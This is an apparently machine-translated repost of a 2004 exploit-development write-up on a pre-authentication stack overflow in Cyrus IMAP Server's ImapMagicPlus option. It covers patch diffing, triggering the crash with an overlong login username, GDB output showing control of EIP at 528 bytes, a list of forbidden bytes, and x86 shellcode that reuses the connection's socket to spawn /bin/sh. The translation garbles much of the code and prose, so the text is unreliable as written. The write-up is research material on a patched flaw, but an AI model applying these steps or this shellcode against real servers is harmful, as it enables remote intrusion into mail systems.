[Actual combat] Cyrus Imap Server ImapMagicPlus pre-verified remote buffer overflow vulnerability analysis

xiaoxiao2021-03-06  17

Cyrus IMAP Server ImapMagicPlus Pre-validation Remote Buffer Overflow Vulnerability Analysis

Creation time: 2004-12-06

Article attribute: original

Article submission:

SAN (SAN_AT_XFOCUS.ORG)

Cyrus IMAP Server ImapMagicPlus Pre-validation Remote Buffer Overflow Vulnerability Analysis

Stefan Esser discovers four vulnerabilities of Cyrus IMAP Server, where IMAPMAGICPLUS prefers the most dangerous remote buffer overflow vulnerability, and is most easily utilized. This section mainly introduces an analysis of this vulnerability.

1 Location Vulnerability

By comparing the Cyrus IMAP Server 2.2.8 and 2.2.9 of the IMAPD.C source file, you can quickly find the problem code appear in the IMAPD_CANON_USER function:

IF (config_getswitch (iMapopt_imapmagicplus) {

/ * Make a Working Copy of the Auth [z] ID * /

Memcpy (Userbuf, User, Ulen);

Userbuf [ulen] = '/ 0';

User = userbuf;

Userbuf is a partial variable of the imapd_canon_user function, the size is max_mailbox_name 1, that is, 491. User is the parameter belled in the imapd_canon_user function and does not perform a length check. When the IMAPOPT_IMAPMAGICPLUS option is opened, the MemcPy operation is executed, causing the stack overflow, and the function returns the address will be overwritten. The code in the Cyrus IMAP Server 2.2.9 version has made the following patch:

IF (config_getswitch (iMapopt_imapmagicplus) {

/ * Make a Working Copy of the Auth [z] ID * /

IF (ulen> max_mailbox_name) {

SASL_SETERROR (CONN, 0, "Buffer overflow While Canonicalizing");

Return SASL_BUFOVER;

}

Memcpy (Userbuf, User, Ulen);

Userbuf [ulen] = '/ 0';

User = userbuf;

It can be seen this is a very typical stack overflow vulnerability.

2 trigger a vulnerability

Although it is easy to find problem code, it is important to find a way to trigger the vulnerability. First install a Cyrus IMAP Server that exists in this vulnerability, and the installation process see the Cyrus documentation, this article is no longer detailed. After installation, the final plus the following lines of /etc/imapd.conf:

ImapMagicPlus: 1

This opens the ImapMagicPlus option and then starts the service. User variable is the username entered by the user, then try to log in to Cyrus IMAP Server with a Python script:

[SAN @ / home / san / bugtrack]> Python

Python 2.3.2 (# 1, NOV 19 2003, 15:32:26)

[GCC 2.96 20000731 (Red Hat Linux 7.1 2.96-98)] On Linux2

Type "Help", "Copyright", "Credits" or "license" for more information.

>>> Import iMaplib

>>> m = imaplib.imap4 ("192.168.7.100")

>>> M.Login ("a" * 1024, "")

Before performing login, you can see a IMAPD process in another terminal by fork, using the process of GDB debugger Attach:

[root @ / home / SAN / BugTrack]> PS AUX | GREP IMAPD

Cyrus 27258 0.0 0.5 20796 1496? s 16:39 0:00 iMapd

[root @ / home / san / bugtrack]> GDB / USR / Cyrus / Bin / IMAPD 27258

GNU GDB Red Hat Linux (5.1-1)

CopyRight 2001 Free Software Foundation, Inc.

GDB IS Free Software, Covered by the gnu general public license, and you are

Welcome to change IT and / or or distribute copies of it under certain conditions.

Type "Show Copying" to see the conditions.

There Is Absolutely No Warranty for GDB. Type "Show Warranty" for Details.

THIS GDB WAS Configured AS "i386-redhat-linux" ...

/ HOME / SAN / BUGTRACK / 27258: No Such File or Directory.

Attaching to Program: / usr / cyrus / bin / imapd, process 27258

Reading symbols from /usr/local/lib/libsasl2.so.2...done.

Loaded Symbols for /usr/local/lib/libsasl2.so.2

Reading symbols from /lib/libssl.so.2...done.

Loaded Symbols for /Lib/Libssl.so.2

Reading symbols from /lib/libcrypto.so.2...done.

Loaded symbols for /lib/libcrypto.so.2

Reading Symbols from /Lib/LibResolv.so.2...done.

Loaded Symbols for /Lib/LibResolv.so.2

Reading symbols from /lib/libdb-3.2.so...done.

Loaded symbols for /lib/libdb-3.2.so

Reading symbols from /lib/libcom_err.so.2...done.

Loaded Symbols for /Lib/Libcom_ERR.SO.2

Reading Symbols from /Lib/Libnsl.so.1...done.

Loaded Symbols for /Lib/Libnsl.so.1

Reading symbols from /lib/i686/libc.so.6...done.

Loaded Symbols for /Lib/i686/libc.so.6

Reading symbols from /lib/libdl.so.2...done.

Loaded Symbols for /Lib/Libdl.so.2

Reading symbols from /lib/ld-linux.so.2...done.

Loaded symbols for /lib/ld-linux.so.2reading symbols from /lib/libnss_files.so.2...done.

Loaded Symbols for /Lib/libnss_files.so.2

0x402ecafe in __select () from /Lib/i686/libc.so.6

(GDB) C

Continuing.

After pressing, the Login operation of the long username is performed at the terminal of Python. At this time, the terminal of GDB reports a paragraph error:

Program received Signal SigSegv, Segmentation Fault.

0x0804dc89 in imapd_can_user (conn = 0x41414141, context = 0x41414141,

User = 0x41414141

, ​​ulen = 1094795585,

Flags = 1094795585,

User_realm = 0x41414141

,

OUT = 0x41414141

, ​​out_max = 1094795585,

OUT_ULEN = 0x41414141) at imapd.c: 291

291 Userbuf [ulen] = '/ 0';

(GDB)

This imapd process has collapsed in the imapd_canon_user function, but it has collapsed when "Userbuf [ulen] = '/ 0';", see the system situation:

(GDB) X / I $ PC

0x804dc89 : MOVB $ 0x0, (% EAX,% EBX, 1)

(GDB) X / 5I $ PC-8

0x804dc81 : Call 0x804be18

0x804dc86 : MOV 0x14 (% EBP),% EAX

0x804dc89 : MOVB $ 0x0, (% EAX,% EBX, 1)

0x804dc8d : POP% EDX

0x804dc8e : POP% ECX

(GDB) I REG $ EBP $ EBX $ EBX

EBP 0xBFFFD0C8 0xBFFD0C8

EAX 0x41414141 1094795585

EBX 0xBFFFCEC0 -1073754432

(GDB) X / 20X $ EBP

0xBFFD0C8: 0x41414141 0x41414141 0x41414141 0x41414141

0xBFFFD0D8: 0x41414141 0x41414141 0x41414141 0x41414141

0xBFFD0E8: 0x41414141 0X41414141 0X41414141 0X414141410XBFFD0F8: 0X41414141 0X41414141 0X41414141 0X41414141

0xBFFD108: 0x41414141 0x41414141 0x41414141 0x41414141

The original ulen is the stack parameter of the imapd_canon_user function, and since the overflowed data overwrites its position saved in the stack, the removed ULEN is 0x41414141. Use it to find the last character of the userbuf caused memory access, so the user variable cannot be too large, it is best to override the function to return the address. After testing, the username string length is a 528 characters just override the function returns the address. The Login operation is performed with the same method above. At this time, the information obtained by GDB is as follows:

(GDB) C

Continuing.

Program received Signal SigSegv, Segmentation Fault.

0x41414141 in ?? ()

(GDB) I REG

EAX 0xffffffffd -3

ECX 0x0 0

EDX 0x4033a2a0 1077125792

EBX 0x41414141 1094795585

ESP 0xBFFFD0D0 0xBFFFD0D0

EBP 0x41414141 0X41414141

ESI 0x41414141 1094795585

EDI 0x41414141 1094795585

EIP 0x41414141 0x41414141

...

Now EIP turns into a controllable address, next to write the utilization.

3 Using the implementation of the program

The process of executing Python's three lines of code is analyzed with TCPDUMP capture, discovers that IMAP logins will send two packages. First send a Capability package, then send the login packet, it is easy to write the utilization based on this information. However, in the actual attempt, you can find that after sending an exception Login packet, the IMAP will return to the following information:

Abcf1 Bad missing required argument to login

This is because the shellcode and the return address as the username contains the special characters of the IMAP, which is sent to the server, so it cannot be successful. After testing, it is found that the following characters cannot appear in the shellcode and return address:

0x22

0x0c

0x0b

0x00

0x09

0x0d

0x0a

0x20

Filtering these characters in Shellcode can be performed smoothly to Shellcode, but they have tested the shellcode of those search sockets that cannot be successful. Inadvertently discovered that this IMAP service will treat a special number as the current connection, which is the following code equivalent to the function of searching the socket shellcode:

JMP locate_addr

Find_s:

POP% EDI / * The Address of Sting / Bin / SH * /

XORL% EBX,% EBX

DECL% EBX / * Amazing Socket;) * /

Pushl $ 0x2

POPL% ECXDUP2S:

MOVB $ 0x3f,% Al / * Sys_Dup * /

INT $ 0x80

DECL% ECX

JNS DUP2S

XORL% EAX,% EAX

MOVL% EDI,% EBX / * / BIN / SH * /

LEAL 0x8 (% EDI),% EDX / * -ISP * /

Pushl% EAX

Pushl% EDX

Pushl% EBX

MOVL% ESP,% ECX / * ARGV * /

XORL% EDX,% EDX / * ENVP = NULL * /

MOVB $ 0x0b,% Al / * Sys_EXECVE * /

INT $ 0x80

XOR% EBX,% EBX

MOV% EBX,% EAX

INC% EAX

INT $ 0x80 / ​​* sys_exit * /

LOCATE_ADDR:

Call find_s

.bete '/', 'b', 'i', 'n', '/', 's', 'h', 0x0, '-', 'i', 's', 'p', 0x0

Why is the author not very clear? The environment that the author test is Redhat 7.2. If a reader knows the reason, I hope I will enlighten me.

转载请注明原文地址:https://www.9cbs.com/read-41039.html

New Post(0)